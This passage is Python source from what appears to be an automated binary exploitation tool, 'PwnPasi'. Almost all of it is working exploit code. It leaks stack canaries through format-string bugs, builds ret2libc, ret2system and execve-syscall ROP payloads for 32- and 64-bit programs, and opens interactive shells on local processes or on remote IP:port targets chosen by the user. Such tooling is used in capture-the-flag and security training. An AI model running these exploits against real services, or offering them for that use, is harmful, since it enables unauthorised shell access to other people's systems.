	main_addr = e.symbols['main']
	puts_plt = e.symbols['puts']
	puts_got = e.got['puts']

	pop_rdi_addr = int(pop_rdi_addr, 16)
	pop_rdi_addr = p64(pop_rdi_addr)
	io.recv()
	io.sendline(f'%{c}$p'.encode())
	result = io.recvline().decode().strip()
	print(f"Canary value is: {result}")
	result = int(result, 16)
	canary = p64(result)

	payload1 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(puts_got), p64(puts_plt) , p64(main_addr)])
	io.recv()
	io.sendline(payload1)

	puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
	print(f'[*]puts function address in libc: \033[31m{hex(puts_addr)}\033[0m')

	if libc == 1:
		libc = LibcSearcher("puts",puts_addr)
		libcbase = puts_addr - libc.dump('puts')
		libc_system = libc.dump('system')
		libc_sh = libc.dump('str_bin_sh')
		system_addr = libcbase + libc_system
		print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
		sh_addr = libcbase + libc_sh
		print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
		print('\033[31m[*]PWN!!!\033[0m')
	else:
		libc_puts = libc.symbols['puts']
		libc_system = libc.symbols['system']
		libc_sh = next(libc.search(b'/bin/sh'))
		system_addr = puts_addr - libc_puts + libc_system
		print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
		sh_addr = puts_addr - libc_puts + libc_sh
		print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
		print('\033[31m[*]PWN!!!\033[0m')

	io.recv()
	io.sendline(f'%{c}$p'.encode())
	io.recv()
	ret_addr = int(ret_addr, 16)
	ret_addr = p64(ret_addr)
	if other_rdi_registers == 1:
		payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr), p64(0),ret_addr, p64(system_addr) , p64(0)])
	else:
		payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr) ,ret_addr,p64(system_addr)])
	io.sendline(payload2)
	io.interactive()

def ret2libc_write_canary_x32(program,libc,padding,libc_path,c,diff):
	io = process(program)
	if libc == 1:
		if libc_path == None:
			print('[*]Using LibcSearcher')
		else:	
			print('[*]User did not specify libc path')
			libc = ELF(libc_path)
	else:
		libc = ELF(libc)
	e = ELF(program)
	main_addr = e.symbols['main']
	write_plt = e.symbols['write']
	write_got = e.got['write']

	io.recv()
	io.sendline(f'%{c}$p'.encode())
	result = io.recvline().decode().strip()
	print(f"Canary value is: {result}")
	result = int(result, 16)
	canary = p32(result)

	payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(write_plt) , p32(main_addr) , p32(1) , p32(write_got) , p32(4)])
	io.recv()
	io.sendline(payload1)

	write_addr = u32(io.recv(4))
	print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m')

	if libc == 1:
		libc = LibcSearcher("write",write_addr)
		libcbase = write_addr - libc.dump('write')
		libc_system = libc.dump('system')
		libc_sh = libc.dump('str_bin_sh')
		system_addr = libcbase + libc_system
		print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
		sh_addr = libcbase + libc_sh
		print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
		print('\033[31m[*]PWN!!!\033[0m')
	else:
		libc_write = libc.symbols['write']
		libc_system = libc.symbols['system']
		libc_sh = next(libc.search(b'/bin/sh'))
		system_addr = write_addr - libc_write + libc_system
		print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
		sh_addr = write_addr - libc_write + libc_sh
		print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
		print('\033[31m[*]PWN!!!\033[0m')

	io.recv()
	io.sendline(f'%{c}$p'.encode())
	io.recv()
	payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff, p32(system_addr) , p32(0) , p32(sh_addr)])
	io.recv()
	io.sendline(payload2)
	io.interactive()

def ret2libc_write_canary_x64(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,c,diff):
	io = process(program)
	if libc == 1:
		if libc_path == None:
			print('[*]Using LibcSearcher')
		else:	
			print('[*]User did not specify libc path')
			libc = ELF(libc_path)
	else:
		libc = ELF(libc)
	e = ELF(program)
	main_addr = e.symbols['main']
	write_plt = e.symbols['write']
	write_got = e.got['write']
	if other_rsi_registers == 1:
		pop_rdi_addr = int(pop_rdi_addr, 16)
		pop_rdi_addr = p64(pop_rdi_addr)
		pop_rsi_addr = int(pop_rsi_addr, 16)
		pop_rsi_addr = p64(pop_rsi_addr)

		io.recv()
		io.sendline(f'%{c}$p'.encode())
		result = io.recvline().decode().strip()
		print(f"Canary value is: {result}")
		result = int(result, 16)
		canary = p64(result)

		payload1 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff ,pop_rdi_addr , p64(1) , pop_rsi_addr , p64(write_got) , p64(0) , p64(write_plt) , p64(main_addr)])
		io.recv()
		io.sendline(payload1)

	elif other_rdi_registers == 1:
		pop_rdi_addr = int(pop_rdi_addr, 16)
		pop_rdi_addr = p64(pop_rdi_addr)
		pop_rsi_addr = int(pop_rsi_addr, 16)
		pop_rsi_addr = p64(pop_rsi_addr)

		io.recv()
		io.sendline(f'%{c}$p'.encode())
		result = io.recvline().decode().strip()
		print(f"Canary value is: {result}")
		result = int(result, 16)
		canary = p64(result)

		payload1 = flat([asm('nop') * padding , canary , b"AAAAAAAA" * diff , pop_rdi_addr , p64(1) , p64(0), pop_rsi_addr , p64(write_got) , p64(write_plt) , p64(main_addr)])
		io.recv()
		io.sendline(payload1)

	elif other_rdi_registers == 0 and other_rsi_registers == 0:
		pop_rdi_addr = int(pop_rdi_addr, 16)
		pop_rdi_addr = p64(pop_rdi_addr)
		pop_rsi_addr = int(pop_rsi_addr, 16)
		pop_rsi_addr = p64(pop_rsi_addr)

		io.recv()
		io.sendline(f'%{c}$p'.encode())
		result = io.recvline().decode().strip()
		print(f"Canary value is: {result}")
		result = int(result, 16)
		canary = p64(result)

		payload1 = flat([asm('nop') * padding , pop_rdi_addr , p64(1) , pop_rsi_addr , p64(write_got) , p64(write_plt) , p64(main_addr)])
		io.recv()
		io.sendline(payload1)

	write_addr = u64(io.recv(8))
	print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m')

	if libc == 1:
		libc = LibcSearcher("write",write_addr)
		libcbase = write_addr - libc.dump('write')
		libc_system = libc.dump('system')
		libc_sh = libc.dump('str_bin_sh')
		system_addr = libcbase + libc_system
		print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
		sh_addr = libcbase + libc_sh
		print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
		print('\033[31m[*]PWN!!!\033[0m')
	else:
		libc_write = libc.symbols['write']
		libc_system = libc.symbols['system']
		libc_sh = next(libc.search(b'/bin/sh'))
		system_addr = write_addr - libc_write + libc_system
		print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
		sh_addr = write_addr - libc_write + libc_sh
		print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
		print('\033[31m[*]PWN!!!\033[0m')

	io.recv()
	io.sendline(f'%{c}$p'.encode())

	io.recv()

	if other_rdi_registers == 1:
		payload2 = flat([asm('nop') * padding ,canary , b"AAAAAAAA" * diff , pop_rdi_addr , p64(sh_addr), p64(0), p64(system_addr) , p64(0)])
	else:
		payload2 = flat([asm('nop') * padding , canary , b"AAAAAAAA" * diff, pop_rdi_addr , p64(sh_addr) ,p64(system_addr) , p64(0)])
	io.recv()
	io.sendline(payload2)
	io.interactive()

def ret2_system_canary_x32(program, libc, padding, libc_path, c, diff):
	io = process(program)
	e = ELF(program)
	system_addr = e.symbols['system']
	print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m')
	bin_sh_addr = next(e.search(b'/bin/sh'))
	print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
	print('\033[31m[*]PWN!!!\033[0m')
	io.recv()
	io.sendline(f'%{c}$p'.encode())
	result = io.recvline().decode().strip()
	print(f"Canary value is: {result}")
	result = int(result, 16)
	canary = p32(result)

	payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, p32(system_addr), p32(0), p32(bin_sh_addr)])
	io.sendline(payload)
	io.interactive()

def ret2_system_canary_x64(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, libc_path, c, diff):
	if pop_rdi_addr == None:
		print("pop rdi instruction does not exist, cannot exploit")
		sys.exit(0)
	io = process(program)
	e = ELF(program)
	system_addr = e.symbols['system']
	print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m')
	bin_sh_addr = next(e.search(b'/bin/sh'))
	print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
	print('\033[31m[*]PWN!!!\033[0m')
	io.recv()
	io.sendline(f'%{c}$p'.encode())
	result = io.recvline().decode().strip()
	print(f"canary value is: {result}")
	result = int(result, 16)
	canary = p64(result)

	pop_rdi_addr = int(pop_rdi_addr, 16)
	pop_rdi_addr = p64(pop_rdi_addr)
	ret_addr = int(ret_addr, 16)
	ret_addr = p64(ret_addr)

	if other_rdi_registers == 1:
		payload = flat([asm('nop') * padding ,canary , b"AAAAAAAA" * diff, pop_rdi_addr , p64(bin_sh_addr), p64(0),ret_addr, p64(system_addr) , p64(0)])
	elif other_rdi_registers == 0:
		payload = flat([asm('nop') * padding , canary , b"AAAAAAAA" * diff, pop_rdi_addr , p64(bin_sh_addr), ret_addr,p64(system_addr)])
	io.sendline(payload)
	io.interactive()

def execve_canary_syscall(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, c, diff):
	if pop_ecx_addr == None:
		io = process(program)
		e = ELF(program)
		bin_sh_addr = next(e.search(b'/bin/sh'))
		print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
		pop_eax_addr = int(pop_eax_addr, 16)
		pop_eax_addr = p32(pop_eax_addr)
		pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16)
		pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr)
		pop_edx_addr = int(pop_edx_addr, 16)
		pop_edx_addr = p32(pop_edx_addr)
		int_0x80 = int(int_0x80, 16)
		int_0x80 = p32(int_0x80)

		io.recv()
		io.sendline(f'%{c}$p'.encode())
		result = io.recvline().decode().strip()
		print(f"canary value is: {result}")
		result = int(result, 16)
		canary = p32(result)

		payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80])
		io.recv()
		io.sendline(payload)
		print('\033[31m[*]PWN!!!\033[0m')
		io.interactive()
	else:
		io = process(program)
		e = ELF(program)
		bin_sh_addr = next(e.search(b'/bin/sh'))
		print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
		pop_eax_addr = int(pop_eax_addr, 16)
		pop_eax_addr = p32(pop_eax_addr)
		pop_ecx_addr = int(pop_ecx_addr, 16)
		pop_ecx_addr = p32(pop_ecx_addr)
		pop_ebx_addr = int(pop_ebx_addr, 16)
		pop_ebx_addr = p32(pop_ebx_addr)
		pop_edx_addr = int(pop_edx_addr, 16)
		pop_edx_addr = p32(pop_edx_addr)
		int_0x80 = int(int_0x80, 16)
		int_0x80 = p32(int_0x80)

		io.recv()
		io.sendline(f'%{c}$p'.encode())
		result = io.recvline().decode().strip()
		print(f"canary value is: {result}")
		result = int(result, 16)
		canary = p32(result)

		payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80])
		io.recv()
		io.sendline(payload)
		print('\033[31m[*]PWN!!!\033[0m')
		io.interactive()

def ret2libc_write_x32_canary_remote(program,libc,padding,url,port,c,diff):
	io = remote(url,port)
	if libc == 1:
		if libc_path == None:
			print('[*]Using LibcSearcher')
		else:	
			print('[*]User did not specify libc path')
			libc = ELF(libc_path)
	else:
		libc = ELF(libc)
	e = ELF(program)
	main_addr = e.symbols['main']
	write_plt = e.symbols['write']
	write_got = e.got['write']

	io.recv()
	io.sendline(f'%{c}$p'.encode())
	result = io.recvline().decode().strip()
	print(f"Canary value is: {result}")
	result = int(result, 16)
	canary = p32(result)

	payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(write_plt) , p32(main_addr) , p32(1) , p32(write_got) , p32(4)])
	io.recv()
	io.sendline(payload1)

	write_addr = u32(io.recv(4))
	print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m')

	if libc == 1:
		libc = LibcSearcher("write",write_addr)
		libcbase = write_addr - libc.dump('write')
		libc_system = libc.dump('system')
		libc_sh = libc.dump('str_bin_sh')
		system_addr = libcbase + libc_system
		print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
		sh_addr = libcbase + libc_sh
		print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
		print('\033[31m[*]PWN!!!\033[0m')
	else:
		libc_write = libc.symbols['write']
		libc_system = libc.symbols['system']
		libc_sh = next(libc.search(b'/bin/sh'))
		system_addr = write_addr - libc_write + libc_system
		print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
		sh_addr = write_addr - libc_write + libc_sh
		print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
		print('\033[31m[*]PWN!!!\033[0m')

	io.recv()
	io.sendline(f'%{c}$p'.encode())

	io.recv()

	payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff, p32(system_addr) , p32(0) , p32(sh_addr)])
	io.recv()
	io.sendline(payload2)
	io.interactive()

def ret2libc_write_x64_canary_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, url, port, c, diff):
	io = remote(url, port)
	if libc == 1:
		if libc_path == None:
			print('[*]Using LibcSearcher')
		else:	
			print('[*]User did not specify libc path')
			libc = ELF(libc_path)
	else:
		libc = ELF(libc)
	e = ELF(program)
	main_addr = e.symbols['main']
	write_plt = e.symbols['write']
	write_got = e.got['write']
	if other_rsi_registers == 1:
		pop_rdi_addr = int(pop_rdi_addr, 16)
		pop_rdi_addr = p64(pop_rdi_addr)
		pop_rsi_addr = int(pop_rsi_addr, 16)
		pop_rsi_addr = p64(pop_rsi_addr)

		io.recv()
		io.sendline(f'%{c}$p'.encode())
		result = io.recvline().decode().strip()
		print(f"Canary value is: {result}")
		result = int(result, 16)
		canary = p64(result)

		payload1 = flat([asm('nop') * padding, canary, b'AAAAAAAA' * diff, pop_rdi_addr, p64(1), pop_rsi_addr, p64(write_got), p64(0), p64(write_plt), p64(main_addr)])
		io.recv()
		io.sendline(payload1)

	elif other_rdi_registers == 1:
		pop_rdi_addr = int(pop_rdi_addr, 16)
		pop_rdi_addr = p64(pop_rdi_addr)
		pop_rsi_addr = int(pop_rsi_addr, 16)
		pop_rsi_addr = p64(pop_rsi_addr)

		io.recv()
		io.sendline(f'%{c}$p'.encode())
		result = io.recvline().decode().strip()
		print(f"Canary value is: {result}")
		result = int(result, 16)
		canary = p64(result)

		payload1 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(1), p64(0), pop_rsi_addr, p64(write_got), p64(write_plt), p64(main_addr)])
		io.recv()
		io.sendline(payload1)

	elif other_rdi_registers == 0 and other_rsi_registers == 0:
		pop_rdi_addr = int(pop_rdi_addr, 16)
		pop_rdi_addr = p64(pop_rdi_addr)
		pop_rsi_addr = int(pop_rsi_addr, 16)
		pop_rsi_addr = p64(pop_rsi_addr)

		io.recv()
		io.sendline(f'%{c}$p'.encode())
		result = io.recvline().decode().strip()
		print(f"Canary value is: {result}")
		result = int(result, 16)
		canary = p64(result)

		payload1 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(1), pop_rsi_addr, p64(write_got), p64(write_plt), p64(main_addr)])
		io.recv()
		io.sendline(payload1)

	write_addr = u64(io.recv(8))
	print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m')

	if libc == 1:
		libc = LibcSearcher("write", write_addr)
		libcbase = write_addr - libc.dump('write')
		libc_system = libc.dump('system')
		libc_sh = libc.dump('str_bin_sh')
		system_addr = libcbase + libc_system
		print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
		sh_addr = libcbase + libc_sh
		print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
		print('\033[31m[*]PWN!!!\033[0m')
	else:
		libc_write = libc.symbols['write']
		libc_system = libc.symbols['system']
		libc_sh = next(libc.search(b'/bin/sh'))
		system_addr = write_addr - libc_write + libc_system
		print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
		sh_addr = write_addr - libc_write + libc_sh
		print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
		print('\033[31m[*]PWN!!!\033[0m')

	io.recv()
	io.sendline(f'%{c}$p'.encode())
	result = io.recvline().decode().strip()
	result = int(result, 16)
	canary = p64(result)

	ret_addr = int(ret_addr, 16)
	ret_addr = p64(ret_addr)

	if other_rdi_registers == 1:
		payload2 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)])
	elif other_rdi_registers == 0:
		payload2 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(sh_addr), ret_addr, p64(system_addr)])

	io.recv()
	io.sendline(payload2)
	io.interactive()

def ret2_system_x32_canary_remote(program, libc, padding, url, port, c, diff):
	io = remote(url, port)
	e = ELF(program)
	system_addr = e.symbols['system']
	print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m')
	bin_sh_addr = next(e.search(b'/bin/sh'))
	print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
	print('\033[31m[*]PWN!!!\033[0m')
	io.recv()
	io.sendline(f'%{c}$p'.encode())
	result = io.recvline().decode().strip()
	print(f"canary value is: {result}")
	result = int(result, 16)
	canary = p32(result)

	payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, p32(system_addr), p32(0), p32(bin_sh_addr)])
	io.sendline(payload)
	io.interactive()

def ret2_system_x64_canary_remote(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, url, port, c, diff):
	if pop_rdi_addr == None:
		print("pop rdi instruction does not exist, cannot exploit")
		sys.exit(0)
	io = remote(url, port)
	e = ELF(program)
	system_addr = e.symbols['system']
	print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m')
	bin_sh_addr = next(e.search(b'/bin/sh'))
	print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
	print('\033[31m[*]PWN!!!\033[0m')
	io.recv()
	io.sendline(f'%{c}$p'.encode())
	result = io.recvline().decode().strip()
	print(f"canary value is: {result}")
	result = int(result, 16)
	canary = p64(result)

	pop_rdi_addr = int(pop_rdi_addr, 16)
	pop_rdi_addr = p64(pop_rdi_addr)
	ret_addr = int(ret_addr, 16)
	ret_addr = p64(ret_addr)

	if other_rdi_registers == 1:
		payload = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(bin_sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)])
	elif other_rdi_registers == 0:
		payload = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(bin_sh_addr), ret_addr, p64(system_addr)])
	io.sendline(payload)
	io.interactive()

def execve_syscall_canary_remote(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, url, port, c, diff):
	if pop_ecx_addr == None:
		io = remote(url, port)
		e = ELF(program)
		bin_sh_addr = next(e.search(b'/bin/sh'))
		print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
		pop_eax_addr = int(pop_eax_addr, 16)
		pop_eax_addr = p32(pop_eax_addr)
		pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16)
		pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr)
		pop_edx_addr = int(pop_edx_addr, 16)
		pop_edx_addr = p32(pop_edx_addr)
		int_0x80 = int(int_0x80, 16)
		int_0x80 = p32(int_0x80)

		io.recv()
		io.sendline(f'%{c}$p'.encode())
		result = io.recvline().decode().strip()
		print(f"canary value is: {result}")
		result = int(result, 16)
		canary = p32(result)

		payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80])
		io.recv()
		io.sendline(payload)
		print('\033[31m[*]PWN!!!\033[0m')
		io.interactive()
	else:
		io = remote(url, port)
		e = ELF(program)
		bin_sh_addr = next(e.search(b'/bin/sh'))
		print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
		pop_eax_addr = int(pop_eax_addr, 16)
		pop_eax_addr = p32(pop_eax_addr)
		pop_ecx_addr = int(pop_ecx_addr, 16)
		pop_ecx_addr = p32(pop_ecx_addr)
		pop_ebx_addr = int(pop_ebx_addr, 16)
		pop_ebx_addr = p32(pop_ebx_addr)
		pop_edx_addr = int(pop_edx_addr, 16)
		pop_edx_addr = p32(pop_edx_addr)
		int_0x80 = int(int_0x80, 16)
		int_0x80 = p32(int_0x80)

		io.recv()
		io.sendline(f'%{c}$p'.encode())
		result = io.recvline().decode().strip()
		print(f"canary value is: {result}")
		result = int(result, 16)
		canary = p32(result)

		payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80])
		io.recv()
		io.sendline(payload)
		print('\033[31m[*]PWN!!!\033[0m')
		io.interactive()

def main():
    """Main function with improved argument parsing and flow"""
    print_banner()
    
    parser = argparse.ArgumentParser(
        description="PwnPasi - Automated Binary Exploitation Framework",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python pwnpasi.py -l ./target_binary
  python pwnpasi.py -l ./target_binary -f 112
  python pwnpasi.py -l ./target_binary -libc ./libc-2.19.so
  python pwnpasi.py -l ./target_binary -ip 192.168.1.100 -p 9999
        """
    )
    
    parser.add_argument('-l', '--local', type=str, required=True,
                       help='Target binary file (required)')
    parser.add_argument('-ip', '--ip', type=str,
                       help='Remote target IP address')
    parser.add_argument('-p', '--port', type=int,
                       help='Remote target port')
    parser.add_argument('-libc', '--libc', type=str,
                       help='Path to libc file')
    parser.add_argument('-f', '--fill', type=int,
                       help='Manual overflow padding size')
    parser.add_argument('-v', '--verbose', action='store_true',
                       help='Enable verbose output')
    
    args = parser.parse_args()
    
    # Validate arguments
    if not os.path.exists(args.local):
        print_error(f"target binary not found: {args.local}")
        sys.exit(1)
    
    if (args.ip and not args.port) or (args.port and not args.ip):
        print_error("both IP and port must be specified for remote exploitation")
        sys.exit(1)
    
    # Initialize target information
    program = add_current_directory_prefix(args.local)
    libc_path = None
    bin_sh = 0  # Initialize bin_sh variable
    
    # Initialize exploit_info with basic information
    global exploit_info
    exploit_info['target_binary'] = os.path.basename(args.local)
    exploit_info['timestamp'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    
    print_info(f"target binary: {Colors.YELLOW}{program}{Colors.END}")
    
    if args.ip and args.port:
        print_info(f"remote target: {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}")
        remote_mode = True
    else:
        print_info("local exploitation mode")
        remote_mode = False
    
    # Set up libc
    if args.libc:
        if not os.path.exists(args.libc):
            print_error(f"libc file not found: {args.libc}")
            sys.exit(1)
        libc = args.libc
        print_info(f"using custom libc: {Colors.YELLOW}{libc}{Colors.END}")
    else:
        libc = 1
        libc_path = detect_libc(program)
    
    print_section_header("BINARY ANALYSIS PHASE")
    
    # Set permissions
    print_info("setting executable permissions")
    if not set_permission(program):
        print_warning("failed to set permissions, continuing anyway")
    
    # Collect binary information
    print_info("collecting binary security information")
    info_dict, stack_protection, rwx_segments, bit_arch, pie_enabled = collect_binary_info(program)
    display_binary_info(info_dict)
    
    print_section_header("FUNCTION ANALYSIS")
    
    # Analyze functions
    print_info("scanning PLT functions")
    function_addresses = scan_plt_functions(program)
    function_flags = set_function_flags(function_addresses)
    
    # Set global function flags
    for func, available in function_flags.items():
        globals()[func] = available
    
    print_section_header("ROP GADGET DISCOVERY")
    
    # Find ROP gadgets based on architecture
    if bit_arch == 64:
        print_info("searching for x64 ROP gadgets")
        pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers = find_rop_gadgets_x64(program)
    else:
        print_info("searching for x32 ROP gadgets")
        (pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, 
         ret_addr, int_0x80, eax, ebx, ecx, edx) = find_rop_gadgets_x32(program)
    
    print_section_header("PADDING CALCULATION")
    
    # Determine padding
    if args.fill:
        padding = args.fill
        print_info(f"using manual padding: {Colors.YELLOW}{padding}{Colors.END} bytes")
    else:
        print_info("performing dynamic stack overflow testing")
        padding = test_stack_overflow(program, bit_arch)
        if padding != 0:
            # Apply assembly-based padding adjustment
            adjusted_padding = asm_stack_overflow(program, bit_arch)
            if adjusted_padding:
                padding = adjusted_padding
            # Display vulnerable function information
            results = vuln_func_name()
            if results:
                print_section_header("VULNERABLE FUNCTIONS IDENTIFIED")
                for func_name in results:
                    print_success(f"vulnerable function: {Colors.RED}{func_name}{Colors.END}")
                print_section_header("ASSEMBLY CODE ANALYSIS")
                for func_name in results:
                    print_info(f"disassembling function: {Colors.YELLOW}{func_name}{Colors.END}")
                    os.system("objdump -d -M intel " + program + " --no-show-raw-insn | grep -A20 " + '"' + func_name + '"')
        else:
            # Try static analysis
            static_padding = analyze_vulnerable_functions(program, bit_arch)
            if static_padding:
                padding = static_padding
                print_success(f"static analysis found padding: {Colors.YELLOW}{padding}{Colors.END} bytes")
    
    print_section_header("STRING ANALYSIS")
    
    # Check for /bin/sh string
    print_info("searching for /bin/sh string in binary")
    bin_sh = check_binsh_string(program)
    
    # Handle canary protection (following pwnpasi_base.py logic)
    if stack_protection == 1:
        print_section_header("CANARY PROTECTION DETECTED")
        print_warning("canary protection is enabled")
        print_info("testing for format string vulnerability to bypass canary")
        fmtstr = detect_format_string_vulnerability(program)
        if fmtstr == 1:
            print_success("format string vulnerability detected")
            print_info("attempting to leak canary value")
            leakage_canary_value(program)
            padding, c, diff = canary_fuzz(program, bit_arch)
            if padding == None and c == None and diff == None:
                print_error("failed to leak canary value")
            else:
                print_success("canary value successfully leaked")
                if args.ip and args.port:
                    print_section_header("REMOTE EXPLOITATION")
                    print_info(f"targeting remote service at {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}")
                    if globals().get('system', 0) == 1 and bin_sh == 1:
                        if bit_arch == 32:
                            ret2_system_x32_canary_remote(program,libc,padding,args.ip,args.port,c,diff)
                            sys.exit(0)
                        if bit_arch == 64:
                            ret2_system_x64_canary_remote(program,libc,padding,pop_rdi_addr,other_rdi_registers,ret_addr,args.ip,args.port,c,diff)
                            sys.exit(0)
                    
                    if globals().get('puts', 0) == 1:
                        if bit_arch == 32:
                            ret2libc_put_x32_canary_remote(program,libc,padding,args.ip,args.port,c,diff)
                            sys.exit(0)
                        if bit_arch == 64:
                            ret2libc_put_x64_canary_remote(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,args.ip,args.port,c,diff)
                            sys.exit(0)
                    
                    if globals().get('write', 0) == 1:
                        if bit_arch == 32:
                            ret2libc_write_x32_canary_remote(program,libc,padding,args.ip,args.port,c,diff)
                            sys.exit(0)
                        if bit_arch == 64:
                            ret2libc_write_x64_canary_remote(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,args.ip,args.port,c,diff)
                            sys.exit(0)
                    
                    if bit_arch == 32:
                        if bin_sh == 1 and globals().get('eax', 0) == 1 and globals().get('ebx', 0) == 1 and globals().get('ecx', 0) == 1 and globals().get('edx', 0) == 1:
                            execve_syscall_canary_remote(program,padding,pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr , ret_addr, int_0x80,args.ip,args.port,c,diff)
                            sys.exit(0)
                else:
                    print_section_header("LOCAL EXPLOITATION")
                    print_info("executing local binary exploitation")
                    if globals().get('system', 0) == 1 and bin_sh == 1:
                        if bit_arch == 32:
                            ret2_system_canary_x32(program,libc,padding,libc_path,c,diff)
                            sys.exit(0)
                        if bit_arch == 64:
                            ret2_system_canary_x64(program,libc,padding,pop_rdi_addr,other_rdi_registers,ret_addr,libc_path,c,diff)
                            sys.exit(0)
                    
                    if globals().get('puts', 0) == 1:
                        if bit_arch == 32:
                            ret2libc_put_canary_x32(program,libc,libc_path,padding,c,diff)
                            sys.exit(0)
                        if bit_arch == 64:
                            ret2libc_put_canary_x64(program,libc,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,padding,c,diff)
                            sys.exit(0)
                    
                    if globals().get('write', 0) == 1:
                        if bit_arch == 32:
                            ret2libc_write_canary_x32(program,libc,padding,libc_path,c,diff)
                            sys.exit(0)
